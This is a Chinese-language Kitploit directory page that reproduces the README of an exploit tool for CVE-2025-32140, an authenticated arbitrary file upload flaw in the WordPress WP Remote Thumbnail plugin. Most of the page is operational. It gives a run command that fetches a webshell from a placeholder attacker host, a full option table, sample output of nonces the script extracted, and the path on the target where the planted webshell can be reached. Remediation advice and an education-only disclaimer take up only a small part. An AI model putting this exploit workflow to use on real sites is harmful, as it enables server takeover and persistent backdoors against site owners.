Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2025-32140 — WordPress WP Remote Thumbnail 插件 <= 1.3.2 存在任意文件上传漏洞。 | Kitploit
工具/GitHubGitHub/nxploited/cve-2025-32140
Payload生成漏洞分析漏洞利用Web应用程序漏洞利用渗透测试学习与教育
GitHubnxploited/cve-2025-32140

CVE-2025-32140

WordPress WP Remote Thumbnail 插件 <= 1.3.2 存在任意文件上传漏洞。

查看仓库
1年前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

🚨 CVE-2025-32140 – WP Remote Thumbnail 漏洞利用(任意文件上传)


📝 描述

CVE-2025-32140 是 WordPress WP Remote Thumbnail 插件中的一个严重漏洞。该漏洞允许经过身份验证的攻击者(具有贡献者或更高权限)通过滥用一个接受未经过滤 URL 的功能缺陷,上传任意文件(例如 webshell)。

该插件未能验证所提供的 remote_thumb URL 中获取的文件类型或内容。这使攻击者能够将恶意的 PHP 文件(例如后门)保存到 /wp-content/uploads 目录中。


⚠️ 受影响组件

  • 插件:WP Remote Thumbnail
  • 受影响版本:<= 1.3.2
  • 已修复版本:尚未发布
  • 攻击向量:网络
  • 所需权限:低(具有 edit_post 能力的已验证用户)
  • CVSS 评分:9.9(严重)

🛠 利用脚本

此 Python 脚本自动利用 CVE-2025-32140,执行以下步骤:

  1. 登录目标 WordPress 站点。
  2. 自动提取所需的 nonce。
  3. 通过 remote_thumb 参数构造并发送恶意请求。
  4. 将 webshell 上传到目标站点。

🔧 命令行选项


🚀 用法

root@kitploit:~
python CVE-2025-32140.py -u http://target.com/wordpress -un admin -p admin -uid 1 -pid 631 --shell http://attacker.com/shell.php

📖 用法与帮助

root@kitploit:~

                                                                                                                
usage: CVE-2025-32140.py [-h] --url URL --username USERNAME --password PASSWORD --user_ID USER_ID --post_ID POST_ID --shell SHELL

Exploit For CVE-2025-32140 # By: Nxploited | Khaled Alenazi

options:
  -h, --help            show this help message and exit
  --url, -u URL         Target WordPress site URL (e.g., http://192.168.100.74:888/wordpress)
  --username, -un USERNAME
                        Username
  --password, -p PASSWORD
                        Password
  --user_ID, -uid USER_ID
                        User ID (usually 1 for admin)
  --post_ID, -pid POST_ID
                        Target post ID
  --shell SHELL         URL of the shell to be uploaded (e.g., http://attacker.com/shell.php)


📋 示例输出

root@kitploit:~
[+] Logged in successfully.
[+] Cookies set successfully.
[DEBUG] Extracted _wpnonce: b4ef78e77d
[DEBUG] Extracted meta-box-order-nonce: 0c192fe62e
[DEBUG] Extracted closedpostboxesnonce: 52be514040
[DEBUG] Extracted samplepermalinknonce: 7b213c6597
[DEBUG] Extracted wprthumb_nonce: 45803ee312
[DEBUG] Extracted X-WP-Nonce: None
[+] Exploit POST sent successfully. Check your uploads directory.
By: Nxploited ( Khaled Alenazi ) | https://github.com/Nxploited


📂 Webshell 位置

一旦利用成功,上传的 webshell 通常会存储在:

root@kitploit:~
http://target.com/wordpress/wp-content/uploads/YYYY/MM/shell.php

将 YYYY/MM 替换为上传时的当前年份和月份。


🛡 修复建议

为降低此漏洞带来的风险:

  1. 更新插件 至最新版本(一旦补丁发布)。
  2. 将文件上传功能限制为仅受信任的用户。
  3. 如果不需要,请禁用远程缩略图抓取功能。

⚠️ 免责声明

此脚本仅供教育目的使用。
作者对因使用此漏洞利用工具造成的任何滥用或损坏概不负责。


👤 作者

作者:Nxploited ( Khaled Alenazi ) 🌟

下载工具
选项别名描述
--url-u目标 WordPress 站点 URL(例如 http://target.com/wordpress)
--username-un具有文章编辑权限的 WordPress 用户名
--password-p指定用户的密码
--user_ID-uidWordPress 用户 ID(管理员通常为 1)
--post_ID-pid要编辑的文章 ID(可以是草稿)
--shell托管在攻击者服务器上的 PHP webshell 直接 URL